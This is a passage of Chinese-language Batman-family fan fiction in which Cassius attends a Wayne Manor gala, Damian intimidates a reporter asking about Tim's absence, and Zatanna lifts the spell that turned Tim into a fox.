“布鲁斯少爷已经很久没露出这样幸福的笑容了呢。” 管家拿出手巾，擦了擦眼角并不存在的泪水。 卡修斯：…… 阿尔弗雷德，你最近是看了什麽奇怪的管家文学了吗？这句话不是霸总管家的必备台词，这就不用效仿了吧…… “各位少爷们，交流感情可以，但是庄园之内严禁使用杀伤性武器，达米安少爷，放下你的武士刀和飞镖，杰森少爷，放下你的捕兽网和枪。布鲁斯老爷，录完视频后，请发我一份……” “现在，请在10分钟内收拾好各自造成破坏，晚饭时间就要到了。” 杰森停下来，习惯性地想要拒绝：“我就……” “杰森少爷，今天有你最爱的墨西哥辣热狗，我放了双倍的墨西哥辣椒酱。” 杰森想说这种廉价的平民食物什麽时候也能登上韦恩庄园的餐单了？就听阿尔弗雷德继续说：“是布鲁斯老爷特意要求的。” “我没有。”布鲁斯已经收起手机，不赞同地瞪了管家一眼。 “呵，既然你们诚心诚意的邀请我了，那我就勉为其难地……” “你给我滚！谁邀请你了，你这个咬小动物脑袋的变态！”达米安表示了强烈的抗议。 “只要你不高兴，我就高兴。” 杰森索性大大咧咧的坐在了餐桌前，又毫无形象地将脚翘在了桌子上。 “那我就……” 不打扰了？ 你们一家吃团圆饭，而我最大的愿望就是暗中观察，偷偷吃我产品的饭。 一直蹲在吊灯圆盘上的狐狸“嗖”一下跳向卡修斯，准确地落在卡修斯头顶，他感觉自己脖子好像随着狐狸的落下“喀拉”响了一声。 虽然不疼，但也惊出一身冷汗。 “以后能不能别这麽突然袭击我，脖子只有一个，我很重视！” 卡修斯将头顶的狐狸抓到自己面前，认真地说道。 “明天开始你别去经营那个你那个坑蒙拐骗的店了，跟着我和提摩西一起锻炼吧。你现在需要的不是钱，而是强健的身体，连一只小小的狐狸都能坐断你的脖子，真丢韦恩庄园的脸！” 达米安羡慕的看了眼他手里的狐狸，又嫌弃的看了眼他。 “你想吃什麽饭？韦恩庄园还不够你吃的？老实坐在我旁边！” 杰森霸道地说。 “不允许！吱吱，本少主现在命令你带着提摩西远离陶德，他对你们的屁股都图谋不轨，不值得信任！” “噗——” 已经默默坐在餐桌主位，但使用了蝙蝠侠的隐匿技能，努力降低自己存在感，悄无声息喝着蛋白粉的布鲁斯喷出一口水。 “咳咳咳——” 布鲁斯发出一阵惊天动地的咳嗽声。 阿尔弗雷德走过来一边擦桌子一边体贴的为他递过一叠纸巾。 “老爷，有客人在，希望您还是能够尽可能地保持举止得体。” 布鲁斯拿过纸巾擦了擦嘴，无奈的看了达米安一眼：“达米安，注意语言……” 杰森难得认同一次布鲁斯，他挑衅地对达米安竖了个中指：“小小年纪，思想太肮脏了，不亏是生在刺客联盟的恶魔崽子。” 阿尔弗雷德为每个人布好菜，引导卡修斯坐在布鲁斯下首的位置，又在他旁边为狐狸也摆了一份餐具。 狐狸从卡修斯怀里跳下来，熟练地蹲在了自己的餐具旁边。 一顿晚饭吃的鸡飞狗跳，要不是阿尔弗在旁边时刻监督着，餐桌上肯定会刀叉勺子满天飞。 就在大家吃完饭，达米安和杰森已经发展到约定立刻去训练室打一架的程度之后，阿尔弗雷德拿出几份今天的《哥谭公报》放在每个人的面前。 在你们继续促进彼此之间的情谊之前，我还是希望各位能看看这个。 布鲁斯已经看过了，此刻只是淡淡扫了一眼报纸上的标题。 卡修斯好奇的拿起报纸，就看到第一版用了整整半版的篇幅将几张背景是韦恩庄园门口的照片拼在了一起。 照片正是杰森骑着摩托在庄园门口等人的样子，还有用高倍镜头拍的，但面容很模糊的达米安的镜头。 报纸将杰森·陶德被布鲁斯宣布收养时的照片拿出来和骑在摩托车上的青年放在一起，绘声绘色地描述着韦恩庄园第二个孩子杰森·陶德假死的故事，以及猜测韦恩庄园另一个看上去未成年男孩的来历。 文庄极尽夸张只能，旧事重提，努力把布鲁斯先后收养几个男孩事和这个神秘的男孩联系在一起，就差指着布鲁斯的鼻子再次把炼铜这个屎盆子再一次扣到他头上。 报纸甚至把韦恩庄园长大的每一个孩子最终都会离开庄园来作为逃离这个变态富豪的有力佐证。 杰森一目十行地看完后，阴阳怪气地笑道：“这就是号称连只蚊子都飞不进来的韦恩庄园？” 达米安的反应直接多了，他当场将报纸一撕两半。 “愚蠢的臆测。”他冷笑一声，“刺客联盟处理造谣者的方式是将舌头钉在刑架上。” “哥谭的处理方式是举办一场慈善酒会。”布鲁斯咽下最后一口西兰花，说道，“本周末，庄园会举办一场酒会，我会邀请记者，正式将达米安的身份介绍给大家，还有，杰森的回归也需要有个能让众人信服的说法。” 杰森从鼻腔里哼出一声冷笑，将手里的刀叉丢进盘子，发出清脆的声响：“我才不会参与你们上流人这种见鬼的宴会，你和那些狗屎记者们都去玩蛋吧。” “杰森少爷。”阿尔弗雷德将一叠烤成神奇女侠盾牌纹样的饼干推到他面前，“布鲁斯老爷以特别嘉宾的身份邀请了卡修斯·希尔先生，他将会在酒会上说明，正是受到希尔先生的指引，才能从诱拐儿童的犯罪集团手中找回您，如果您不出席，希尔先生会很尴尬。” 卡修斯：…… 他努力克制自己的心理活动，不允许自己在心里吐槽，对这个说法的了解并没有比杰森早太久。 阿尔弗雷德在他快结束营业的时候打电话过来跟他说了这件事，像是笃定卡修斯会答应似的，他根本就没给自己拒绝的机会。 不过卡修斯确实也不想说不。 他能感觉的出，小丑死了之后，杰森的执念好像小了不少。 他承认自己有点自私，出于个人的喜好，他确实希望杰森早日和布鲁斯冰释前嫌，而不想主刊漫画里那样，两人一见面就是各种针锋相对和争吵。 “来吧，我需要韦恩的名人效应为我打开口碑，求你啦！” 他在心里悄悄对杰森说。 杰森全身上下最硬的可能就剩一张嘴了，而这对父子嘴长来只是用来互相伤害的。卡修斯觉得自己必须得为自己嗑的Batfamily做点建设，已经心甘情愿接受了自己工具人的命运。 餐桌上所有人都用或期待，或犹豫，或嫌弃的眼神看着他，只有狐狸根本不参与到人类的勾心斗角中，认真撕咬着阿尔弗雷德认真为他准备的烤鸡。 达米安虽然也想听听杰森准备怎麽说，但他看狐狸自己咬的辛苦，不自觉地将自己面前的餐盘推到一边，又将提姆餐盘里的烤鸡拉过来，认真地用刀叉将鸡肉分成一块一块的，再推回狐狸面前，服务的相当周到。 杰森看了眼布鲁斯，他正一如既往的用平静的眼神看着自己，就像他做出什麽决定，他都绝不会开口干涉似的。 他又看了看也还正看着自己的卡修斯，最终一推凳子站起来，走到玄关处，又走回来将阿尔弗雷德烤给他的饼干一股脑全部揣走，同时恶狠狠地叉走提姆盘子里看着烤的最好的一块鸡肉塞嘴里。 提姆又冲着他呲牙，出于餐桌礼仪，这次他并没有发出嚎叫声。 然后他发现肉里没放任何调味料。 艹啊，失策了。 但他没得到好处没关系，重要的是同时给恶魔崽子和替代品一块儿添堵了，他就高兴。 “就这一次！” 说完，他再次转身，快步离开了韦恩宅。 接下来的两天里，杰森都离庄园远远的，让卡修斯每次下车以后都要再走不少路。 不过在晚宴到来那天，杰森还是按照约定，提前出现在了庄园。 阿尔弗雷德为他提供了好几套西装套装供他选择，杰森最终选了有酒红色衬衫打底的那套。 “你怎麽会知道我的尺寸？”他看着镜子里裁剪的相当合身的西装，问身边的管家。 “是布鲁斯老爷提供的尺寸。”阿尔弗雷德言简意赅的回到道。 杰森对着镜子里的自己翻了翻眼睛：“我就多余问。” 卡修斯也已经换好了衣服，轻敲了三下房门走了进来。 他看着面前还没有系领带，酒红色衬衫扣子一直开到锁骨的杰森，有点被帅到，愣了半天，才忍不住咽了口口水。 “帅的想报警……”卡修斯心里喃喃道。 杰森对布鲁斯将自己的身体数据知道的这麽详细的郁闷一扫而空，得意的转头看向他卡修斯：“报警干嘛？” 他本意是想让卡修斯再多说两句他爱听的，卡修斯也没让他失望，脱口而出道：“因为你在我的心田里放了一把火。” 杰森：“艹。” 被土到了，他也想报警。 阿尔弗雷德在他旁边重重咳了一声：“语言。” 杰森才勉为其难地对阿尔弗快速道了歉，他上下打量了卡修斯几眼，非常大方的回敬道：“你也很帅。” “当然。” 卡修斯坦然地接受了他的夸赞。 人靠衣装马靠鞍，今天的西装可是阿尔弗雷德特意找裁缝为他量体裁剪的，再不帅的话，只能说明他和人类的相似度比大猩猩都不如。 杰森不屑地啧了一声，然后抻着脖子往他身后看了看，问道：“那个总是像膏药似的黏在你身上的蠢狐狸呢？” 说起这个，卡修斯就忍不住想笑。 “达米安带他去梳妆。”他委婉的说。 杰森一听就感觉有热闹可看，立刻来精神了，连领带都懒得拿，搂着他的肩膀将他往外带：“走，看看去。” 走近达米安的房间，他的门本是紧闭着的，但杰森不知道从哪里搞来的钥匙，在卡修斯眼前晃了两下，就找出其中一把，插进了锁孔里。 推开一条缝后，杰森带着卡修斯扒着门缝偷偷往里看。 其实卡修斯觉得这样偷看有点不太好，但人类的天性除了吃瓜就是看别人的笑话，他实在抵抗不了这种天性，内心象征性的挣扎了一下，立刻就跟杰森一起开始偷看。 红狐此刻整个狐都套在一个好看的狗西装里，虽然它现在满脸写着不高兴，但作为人类的卡修斯来说，却觉得他非常可爱。 不得不说，在对待小动物上，达米安的审美相当在线。 现在，男孩手里拿着一只墨绿色天鹅绒领结，正满房间追狐狸。 他很有先见之明，在带提姆进房间之前，他已经好好关了窗，锁了门，为的就是让着装环节更为顺利。 狐狸感知到了门缝外面的来人，朝着门缝扑了过去。 卡修斯怕他受伤，不得不推开门直接接住狐狸。 倚在门框上的杰森吹了个口哨，乐呵呵地讥讽道：“需要我替你跑腿买一条狗链吗？爱马仕家就有狗链卖，你喜欢的话，我给你们俩一人买一条。” 第70章 提摩西是我最喜欢的兄弟，望周知！ 达米安一把将拿在手里的毛梳扔向杰森，被他轻松躲开。 “陶德，你这种连领带都不会系的僵尸没资格评价！” 达米安从不避讳杰森曾经死而复生的事，而杰森本人对这件事好像也没有大家想象的那样在乎，他甚至非常喜欢故意当着布鲁斯或者迪克的面，开一些关于自己死而复生的地狱笑话。当然，通常这个时候除了他自己（偶尔加上达米安），0人觉得好笑。 “僵尸不用系领带也能吃掉你的脑子。”杰森毫不客气地回应，“再说了，说的好像你自己会系领带似的。” 他扯了扯酒红色衬衫的立领，将领口弄得更开，锁骨的皮肤和衬衣领口边缘形成一个涩气的形状，又用旁光暗搓搓看了卡修斯一眼，说道：“老子不需要系领带，也能迷倒一片人。” 达米安也将视线转向卡修斯，就看到他的仓鼠正无耻的盯着陶德锁骨露出来的皮肤看。 “下流！”他嫌弃地看了自己那色眯眯的仓鼠一眼，用傲慢的语气说，“无论作为一个奥古还是韦恩，我都不需要学习系领带这种技能——吱吱，帮我打领带！” 卡修斯怀里的狐狸不满地叫唤了一声，好像在说不许去。 卡修斯倒是无所谓，而且他感觉帮达米安系领带与达米安想要给狐狸系领结的心情是一样的。 质疑达米安，理解达米安，成为达米安！ “来来来，你去伺候恶魔崽子，狐狸给我抱。”杰森跃跃欲试地伸出手。 狐狸呸了他一口，从卡修斯怀里跳下去，一溜烟钻出了房间。 卡修斯从床上好几条领结带中挑了达米安手中原本准备给狐狸戴的那款蝴蝶结同色系布料，走到达米安面前，翻起他的领子，将布料绕在他翻起的领子下面。 达米安仰起头，从两人身形重叠的位置微微偏出一点，用得意的眼神看着杰森。 卡修斯一边系领结还一边在心里碎碎念：“不愧是麦外敷的蛾子，真的太可爱啦！没机会给布鲁斯系领带，给未来的布鲁斯系领结也是一样的，代了代了！” 杰森：玛德失策，刚才应该也让卡修斯帮自己系领带的！ 刚系好领结，迪克就过来敲了敲他们开着的房门：“好了吗？布鲁斯让我来叫你们。” 迪克今天穿着一身藏青色的西装，里面搭配了浅蓝色暗纹的白色衬衣，量身剪裁的西装裤让他的臀线看上去更加优美。卡修斯的视线忍不住往下…… “TT。” “啧。” 达米安和杰森同时对他发出鄙视的气音。 卡修斯赶紧收回视线。迪克现在已经完全不会被他这种欣赏的眼神冒犯到了，甚至还冲他眨了眨眼。 几人一起出去，达米安在狐狸看到卡修斯又要扑向卡修斯的时候，再一次半路截胡，把他抱到自己怀里。 “今晚你得跟着我！” 卡修斯假笑一声，对着狐狸说：“那是，你今晚蹲他怀里，身价才更高。” 不过事实也确实如此，今晚来的宾客中，有许多上流社会的夫人们，狐狸可不像宠物狗那样受欢迎，但如果这只狐狸在一个韦恩的怀里，就另当别论。 达米安用一种特殊的手法将狐狸固定在自己怀里，提姆挣扎了几下发现挣不脱，也就随他去了。 卡修斯还以为杰森会又说点什麽和达米安呛声，没想到他竟然什麽都没说，而是老实地侧过身，给达米安让路，让他走在第一个。 本来已经做好战斗准备的达米安奇怪地看了他一眼，但也没说什麽，抱着狐狸，昂首挺胸地走在第一个。 卡修斯知道杰森不可能这麽老实，他故意和他并排，在心里问他：“你又作什麽妖？” 杰森对他神秘地笑了笑：“我能做什麽？放心，阿尔弗雷德准备的宴会，我不会让他难堪的。” 卡修斯充满不信任地斜了他一眼。 杰森抬起手，在碰到他耳廓的时候，卡修斯敏感地躲了一下：“干嘛？” 杰森摊开手，里面是一枚入耳式耳机：“带着这个。” 他小声说。 卡修斯瞬间get。 “你在达米安身上装了窃听器？” 杰森将耳机塞进他耳朵里，顺便还捏了捏他的耳廓。冲他笑了笑。 “我对你可真好，看热闹都不忘带着你。”杰森自夸。 卡修斯又瞪了他一眼，不过他并没有将耳机拿出来。 “这小崽子要是能老老实实做好一个韦恩，我倒立吃屎。”杰森说。 卡修斯被他的豪言壮语惊呆了。 “倒也不用这麽激进……”卡修斯说。 但心里已经在为杰森筛选屎的种类了。 杰森一巴掌抽到他后脑：“住脑！” “你自己说的……” “我这麽说的意思就是我很确定，小崽子肯定会闹毛病！” …… 水晶吊灯将韦恩宅的宴会厅照地恍如白昼，达米安一脸肃容地站在笑容散漫的布鲁斯身边，父子两形成了鲜明的对比。 宴会还没有正式开始，先来的客人总要和大宅的主人先寒暄两句，但说来说去，就是夸达米安可爱，和布鲁斯小时候简直是一个模子里刻出来的。 在第一个贵妇人说出这话的时候，达米安皱着眉说：“眼睛没瞎的人都能看得出这个显而易见的事实，你的刻意搭讪相当拙劣。” 上流社会的夫人们大概这辈子都没在这种场合遇到过这麽有攻击性的刻薄小孩，一时间涨红了脸，看上去像是想当场消失。 布鲁斯无奈，只能绽放出更和煦的笑容，安抚了对方半天。 遇到第二个西装革履的男人，对方无意识地提起一句：“这孩子虽然和你长的很像，唯一遗憾的是，瞳色没有遗传到你漂亮的蓝眼睛，而且肤色也有些黑，布鲁西，你真是到哪儿都受欢迎啊……” 说着，他的脸上就带了些轻佻的笑容，用暧昧的眼神打量布鲁斯。 拽着卡修斯在不远处偷听的杰森已经开始笑了。 达米安从怀里抽出了匕首：“你在暗示什麽？我的母族以绿色为尊，我遗传了母亲的瞳色，我以此为荣。还有，你盯着我父亲的眼神非常恶心，眼睛不想要的话，我会帮你把它挖……呜呜呜！” “达米……” 布鲁斯还没来得及出声阻止，他怀里的狐狸已经跳起来糊在了他脸上。 宴会厅里出现一小阵骚乱，杰森已经笑倒在了卡修斯的肩膀上。 卡修斯：…… 他强行将杰森推直：“好歹这也是韦恩家的宴会，你也算是主人之一，幸灾乐祸得太明显了会不会不太好……” “放宽心吧你，这种场合，任何负面都不会传出去的。” 小小的插曲结束，布鲁斯已经收走了达米安身上的刀。宴会即将开始，布鲁斯端着一杯红酒站在宴会厅中央，正式将达米安介绍给在场的所有人。同时，他又向众人宣布，他本以为已经死亡的第二个儿子，杰森·陶德近日也回到了他的身边。 一时间，灯光闪烁。这个抱着狐狸的10岁男孩和身量气质和五年前没有任何相似之处的红色衬衣青年今晚将成为上流社会和所有媒体谈论的焦点。 哥谭公报的记者维姬·维尔是第一个报道最近经常出没韦恩庄园门口的青年有可能是杰森·陶德的。 她不太相信布鲁斯给出的，“杰森·陶德五年前被恐怖分子劫持，并伪造了死亡。布鲁斯最近频频梦到自己死去的儿子，近日在玄学大师卡修斯·希尔的帮助下，他抱着不相信，但想给自己找一些精神寄托的目的，去希尔大师指引的位置寻人——这也是前段时间布鲁斯短暂消失在哥谭的原因。没想到他居然真的重新找回了自己的养子。”这种漏洞百出的荒谬故事。她坚持认为杰森·陶德的死而复生一定另有隐情。 而且女记者注意到，今天这样的场合，提摩西·韦恩却奇怪的没有到场。 去询问布鲁斯·韦恩肯定得不到什麽有用的讯息，维姬·维尔本想在会场找到杰森，然后亲自问几个问题，她相信20岁的年轻男孩绝对不可能在她这样一个资深调查记者面前撒谎且不露出任何破绽。 可惜，从布鲁斯介绍完人，开始下一项慈善捐款交流时，杰森·陶德就在宴会厅消失了，维姬找了好几圈都没再看到他的身影。 可她看到了今晚的另一个焦点人物，达米安·韦恩。 今晚她到场不算早，因此错过了正式宴会开始前的小骚动，此刻她虽然疑惑为什麽大家好像都在刻意回避和这个本该是今晚热点人物之一的小男孩搭话，但这并不妨碍她主动上去和他说话。 她觉得10岁的小孩更好拿捏，随便哄两句，肯定也能吐出一些重要消息。 于是她挂上一个和善的笑容，向着达米安款款走了过去。 达米安和杰森的身份介绍完成，布鲁斯又回答了到场记者几个问题后，渐渐将今晚的中心话题引到了慈善捐款上，随后，他独自去应酬——因为带着达米安实在不是个很好的选择。 杰森耐着性子营业完，立刻找了个借口溜了。虽然他最近收拢了黑面具和企鹅人的势力，但底下的人并不安分，他每晚还是要在冰山餐厅和划为自己地盘的街巷露个脸的。 布鲁斯知道杰森能留到现在已经是非常给面子了，因此也没有苛求。不过他把带熊孩子的艰巨任务交给了卡修斯。 “达米安，你陪着卡修斯。”布鲁斯说。 卡修斯：…… 到底谁陪谁啊？ 他知道布鲁斯是想让他约束达米安，别再发生之前那样的事故。 “父亲你放心，绝对不会让那些不长眼的人仗着身份和财富看轻吱吱。”达米安保证道。 “很好，拜托你了，达米安。” 布鲁斯说这话的时候，却是看着卡修斯。 卡修斯：……行吧，你们开心就好。我只能说我尽量不让达米安将你宴会上所有人都得罪完。 达米安·韦恩一脸严肃的站在卡修斯身边，用锐利的眼神扫视每一个企图靠近他们的人。这位布鲁斯·韦恩刚回归的儿子已经在大部分到场宾客的心里凶名赫赫，碍于脸面，他们肯定不会在这种场合和一个10岁小孩发生冲突，但让他们再去主动找他说话，接受这个小孩的嘲讽，那是万万不可能的。 达米安盯着走过来的女人，卡修斯微微低头，在他耳边说：“这是哥谭公报的首席记者维姬·维尔，她很厉害，在她面前尽量少说话。” 达米安听卡修斯说她“很厉害”，不自觉眉头就皱紧了，他又快速打量了对方几眼，确定这个女人绝对不是什麽格斗高手。 “她厉害在哪儿？”达米安也低声问。 但女记者已经走过来了。 “韦恩少爷，你好，我是《哥谭公报》的维姬·维尔。”记者友善地伸出手。 达米安盯着她的手掌看了两眼，没有枪茧，手骨也没有长年握冷兵器形成的特殊形状，中指第一指节倒是有茧，这是握笔留下的痕迹。 就在她伸手伸的尴尬时，达米安身边的卡修斯及时握住了她的手。 “你好。维尔小姐。”卡修斯露出营业的笑容。 可惜卡修斯并不是维姬·维尔的目标，她回给他一个敷衍的笑容，然后抽回手。 在她的判断里，卡修斯·希尔只不过是布鲁斯·韦恩用钱买通和包装起来的骗子而已，什麽玄学大师，她从不相信这些，所以她也不想分给卡修斯一点注意力。 不过正是她对卡修斯不屑一顾的神态，让达米安本来就没什麽表情的脸色，更冷了下来。 维姬·维尔问了几个问题，达米安都不冷不热的用鼻音回应——要不是卡修斯让他尽量少说话，说这里的人都不配跟他对话，他早就开口将她讥讽到后悔今天来这里。 “这狐狸是你养的吗？很好看，是什麽品种？”维姬·维尔吃了几个冷钉子，但她并不气馁，打算从他的兴趣爱好入手，她看对方一整晚都抱着狐狸不放，打算从这儿当突破口。 “关你……” “咳！”卡修斯重重咳嗽一声。 达米安停顿一下，才继续说：“什麽事？” 维姬·维尔也并不是关心狐狸，达米安开始回应她的问题，这让她斗志昂扬。 “确实不关我事，不过我注意到，今天这麽重要的场合，韦恩先生几个月前刚刚宣布收养的男孩，提摩西·韦恩，并不在这里。”维姬说。 达米安眯起眼：“你想说什麽？” 维姬一看达米安对这个话题产生了兴趣，立即继续道：“被布鲁斯抚养过的孩子里，只有今天没来的提摩西改了姓，冠了韦恩的姓氏，而且据我所知，在你出现之前，他已经作为韦恩集团事实上的执行总裁，为集团的大部分事务做决策，可见布鲁斯对他的重视。可自从你出现后，提摩西似乎就从哥谭消失了，你知不知道，他去哪儿了？” 达米安怀里的狐狸动了动，似是想要跳下地，但被男孩按住了。 “他去法国分公司出差了。”达米安简短的回答。 这是宴会开始前，大家商定的，对外的说辞。 “什麽时候走的？” 她追问。 “一周前。” 这正是提姆变成狐狸的日子。 维姬·维尔早有准备，立即说：“可是在我来之前，已经调查过了提摩西的出行记录，任何一个航空公司都没有他的出境记录。” 卡修斯也严肃的看着她，他在会场扫视了一眼，布鲁斯不知道去哪儿了，目所能及的地方只有迪克。 他开始在心里调用迪克，希望大家的大哥能快点来解围。不过也许是距离问题，迪克并没有收到他的脑电波。 达米安眯起眼看着维姬·维尔。 “你调查我们？”他的声音逐渐变得危险。 维姬虽然觉得此刻达米安的神态不太像一个10岁的儿童，但这也并没有引起她的警惕，反而让她感觉到了一丝兴奋。 “我只是希望知道真相而已。”女记者说。 “那你想知道什麽呢？”达米安歪头看着她，表情有点10岁儿童的天真无邪了。 卡修斯很紧张，因为耳机里的杰森告诉他，通常达米安用这种口气说话的话，代表着有人要死了。 他现在全身肌肉紧绷，如果达米安动手，他得第一时间解救这个为了“真相”，连命都不要的女记者。 “提摩西·德雷克-韦恩是不是被布鲁斯，或者被你，放逐了？今后他是不是会彻底远离韦恩集团的权力中心，我注意到，提摩西明年就18岁了，他成年后，韦恩是不是会解除和他之间的收养关系？”维姬·维尔紧紧盯着达米安的表情，问道。 她能从男孩微表情的变化中推测出真相，然后小心求证。 达米安忽然笑了一声。 “接下来我说的话，希望你能背下来，不过我对你愚蠢的脑袋不抱什麽希望，所以，你用笔记下来也没关系，我会说慢一点，等等你。” 达米安说这话的时候，声音不算小，卡修斯看到已经有人往他们这边看，离得近的甚至在往他们这儿走了。 卡修斯看到远处的迪克也注意到了这里的小小骚动，开始快步往这儿走了。 他不会辜负布鲁斯的嘱托，又要造成围观事故了吧…… “你今天能活着离开这里，是父亲对我的严格要求救了你。提摩西·德雷克-韦恩，永远都会是父亲的儿子，也是我最喜欢的一个兄弟。我们之间感情深厚，如果今后让我看到任何媒体上有关于我们两个不和的不实消息，或者因为你们的肆意猜测，诋毁，影响到我们之间的感情，我会杀了你们所有人，听懂了吗？” 达米安一手缓缓抚摸着狐狸的脑袋，一边缓慢地，一字一句地，庄严宣布。 卡修斯：…… 听懂了。但是杀人犯法，你爹也绝对不会允许你这麽干…… 狐狸“嗷呜——”叫了一声，也不知道是什麽意思。 迪克也听到了。他一脸WTF的崩溃走近，但面对维姬·维尔的时候，已经重新挂上了笑容。 “维尔女士，有什麽问题直接问我吧，我想我会解答你所有的疑惑……” 迪克的另一只手在背后给卡修斯疯狂做手势，让他赶紧先把这个小祖宗弄走。 达米安对维姬·维尔此刻苍白的脸色并不是特别满意，准备继续对她进行精神恐吓，但卡修斯及时拉住了他，将自己的手机递给他看。 上面是布鲁斯发的消息，让他带着达米安低调地去楼上书房，并且带上狐狸。 达米安这才作罢。 “看在父亲的份上，暂时饶了她，今晚去她家再警告她一次。” 达米安暗暗决定。 卡修斯也暗暗决定，要当一个告状侠，让蝙蝠侠今晚看紧罗宾。 他拉着达米安进书房，就看到一个带着黑色礼帽，黑色燕尾服西装，穿着黑色网袜的女人正斜依在书房的书桌上。 从她的装束，卡修斯已经猜出了她的身份。 “终于见到霸总的魔法医生朋友了。” 布鲁斯无奈的看了他一眼，对着达米安介绍道：“达米安，这是扎塔娜，她是来帮助提姆解除身上的魔法的。” “Hi，你们好呀。” 女人非常友善的向两人打招呼。 卡修斯也礼貌的回应了她，但达米安的表情明显低落下来。 “就不能再晚几天吗？”达米安的声音居然难得带了些委屈。 扎塔娜看着他怀里的狐狸，笑了笑，说：“下一次我再抽出时间来哥谭，至少要几个月之后了。” “没关系，我不着急，你下次再来。”达米安在心里说。 卡修斯的嘴角抽了抽。 布鲁斯看出了达米安的不情愿：“我们可以另外养一只，提姆恐怕也迫不及待想要恢复了。” 达米安“哦”了一声，将狐狸递给了布鲁斯：“好吧。” 布鲁斯将狐狸放在了书桌上。 狐狸知道扎塔娜要做什麽，他乖乖地蜷在桌上，一动不动。 “开始吧。”他对扎塔娜说。 扎塔娜从腰间抽出一根细长的魔杖，杖尖从狐狸的头顶一直移动到尾巴，狐狸趴着的地方渐渐显现出一个金色的魔法阵。 卡修斯注意到，魔法阵中的图案，非常像乌比莫斯环的形状。 “ESAELER，DNIBER ，TREVER——HSRA MORF XENOEHP SA……” 魔法师的口中吟唱出一串听不懂意义的反语咒，狐狸身下魔法阵中的乌比莫斯环渐渐升起，围绕着狐狸，金砂似的流动，等到咒语吟唱结束，金色光点倏地炸开，消失在了空气中。 也就是在这个瞬间，卡修斯忽然觉得自己腰后的纹身位置猛然被火焰灼烧似的疼痛了一下。 “啊！” 他猝不及防的喊出了声。 房间里另外三人立即看向他。 “没事，你们继续，我不小心岔气了。”卡修斯用侧指腹蹭了一下头顶的冷汗。 法阵中心的狐狸闭上了眼睛。 看到卡修斯没事，达米安立刻上前去看狐狸。 “他这是怎麽了？”达米安指着陷入沉睡的狐狸问。 扎塔娜认真打量了卡修斯一会儿，才回神回答达米安的问题：“和时间相关的魔法当然也需要时间来恢复，而且魔法的解除不是即时的，要看他本人的魔法抗性，抗性好的话，也许一天就能恢复，不好的话，可能需要三天。” 布鲁斯问：“那你能等到提姆恢复了再走吗？” 扎塔娜摇了摇头：“抱歉，布鲁斯，我临时得到了父亲的消息，想去找他，如果晚了的话，说不定这个消息又没用了。你放心，这个魔法不复杂，最多三天，提姆就能恢复。” 布鲁斯点了点头：“好吧，还是谢谢你。” 扎塔娜临走之前，又深深看了卡修斯一眼。卡修斯茫然的看着她，不知道他什麽意思。 “有什麽问题？”布鲁斯敏锐的察觉道了扎塔娜对卡修斯的注意。 扎塔娜摇了摇头：“暂时没有，我现在赶时间，等我确认完父亲的消息，有空再跟你聊，别紧张，我觉得没什麽事。” 布鲁斯看得出扎塔娜现在心思不在这里，也不再追问，向她点了点头。 达米安重新将狐狸抱在了怀里。 “今晚不去夜巡了，我要跟狐狸待在一起！”达米安在心里说。 卡修斯听到了，他看了达米安一眼，想到他之前说的原本要去找维姬·维尔麻烦，于是作罢，没有将这句话同声传译给布鲁斯。反正扎塔娜说了，至少要一天的恢复时间，一晚上而已，就让小孩高兴高兴吧。 宴会结束的时候，蝙蝠侠换装去夜巡，达米安破天荒的没有跟他去，而是回自己的卧室和狐狸玩去了。 帮着布鲁斯应酬了大半个宴会，并且还安抚了难缠的维姬·维尔的迪克，宴会一结束就躺在了床上，他说感觉身体被掏空，今晚绝对不想再干任何需要动脑的活动了。 明天是周末，命运纺车周末的生意一向不错，所以他周末会早点开张，晚上也准备早睡了，而且不知道为什麽，自从扎塔娜为提姆施过魔法后，卡修斯莫名觉得有点累，也有些困了。 淩晨三四点的时候，蝙蝠侠结束了他的夜巡和例行的日志记录，他躺在床上，给自己摆了个舒服的睡觉姿势，没过5分钟，他也进入了深睡眠状态。 “啊——！” 两声破分贝的尖锐惊叫让布鲁斯一骨碌从床上跳了起来。 他随手抓着睡袍披着就冲了出来，打开房门后，就看到迪克也裸着上半身开了门。 两人对视一眼，“声音是达米安房间。” 迪克说。 达米安的房间发出打斗的声音，两人神色凝重的一起跑过去，推开房门。 穿着狐狸睡衣的达米安正和全身果着的提姆打成一团。 “不是说至少还有一天吗？你给我变回去——”达米安愤怒尖叫。 他抱住提姆腿，另一只脚压住他的上半身，脚指头都伸进已经变成人形的提姆的鼻孔里了。 提姆也不甘示弱，盘住达米安的腰，一手艰难地攥住他的两只手：“你是变态吗？为什麽要把我从房间里偷走，还抱着我睡！我要告你X骚扰！” 布鲁斯/迪克：……【你现在阅读的是 】 70-80 第71章 你是不是被魔法波及了？ 迪克觉得自己最近可能水逆，要不然为什麽不到半个月的时间，就分别听到自己两个弟弟当着自己的面控诉自己受到了杏侵害？ 也不知道当初提姆受到杰森指控的时候，知不知道现世报会来得这麽快。 他后悔冲出来得太匆忙，没有带手机，偏偏庄园的卧室里都没有安装监控，所以自己必然会错过这次珍贵的记录机会。 韦恩庄园的好大哥只好按捺住飞奔回去拿手机的冲动，和布鲁斯一块儿进去，一人一个，将自己的弟弟们拉开了。 迪克将达米安的脚指头从提姆的鼻孔里拔出来，布鲁斯则顺势扯住达米安睡衣的后衣领，将两人分开。 作为好大哥，迪克在抱走提姆的时候，甚至不忘一把扯下身边床单，将寸缕未着的提姆裹了起来。 达米安被扯的睡衣歪斜，但他还不服气，不停地抬起脚踢提姆面前的空气，像是想要对他造成隔空打击。 提姆也是如此。但他刚从狐狸变成人，还有些野兽习性的延续，在迪克的压制下，仍不停地往前伸脖子，朝着达米安的脚龇牙，像是想要一口咬掉他的脚指头。 布鲁斯和迪克作为资深义警，都差点按不住两个出离愤怒的青少年。 等他和迪克一人一个将他们分开到房间的两个角落，他自己都被扯得睡衣歪斜。 “别闹了吧。”布鲁斯一手抓着达米安后脖颈，一手揉着突突直跳的太阳xue问道，“提姆怎麽会在你的房间？” “当然是他晚上把我偷到他的房间的！”提姆立刻说。 “偷什麽偷，整个韦恩庄园都是我的，我是担心狐狸，所以把它抱到我的房间。那个魔法师明明说至少要一天的时间你才能恢复，谁允许你这麽快变回人的！” 达米安控诉。 “真是抱歉啊，看来我的魔法抗性很高呢，但这也不是你抱着我睡觉的理由！” “闭嘴！闭嘴！我才没有抱着你睡觉，我抱的是狐狸！”迪克发现一向用鼻孔看人的达米安的耳朵居然红了，他抄起手边柜子上的小型石雕就要扔过去，但一拿起来就觉得这玩意好像有点过重，他又把石雕放下，拿起放在桌上的另一个毛茸茸的红狐狸挂件当作武器，朝着提姆丢了过去。 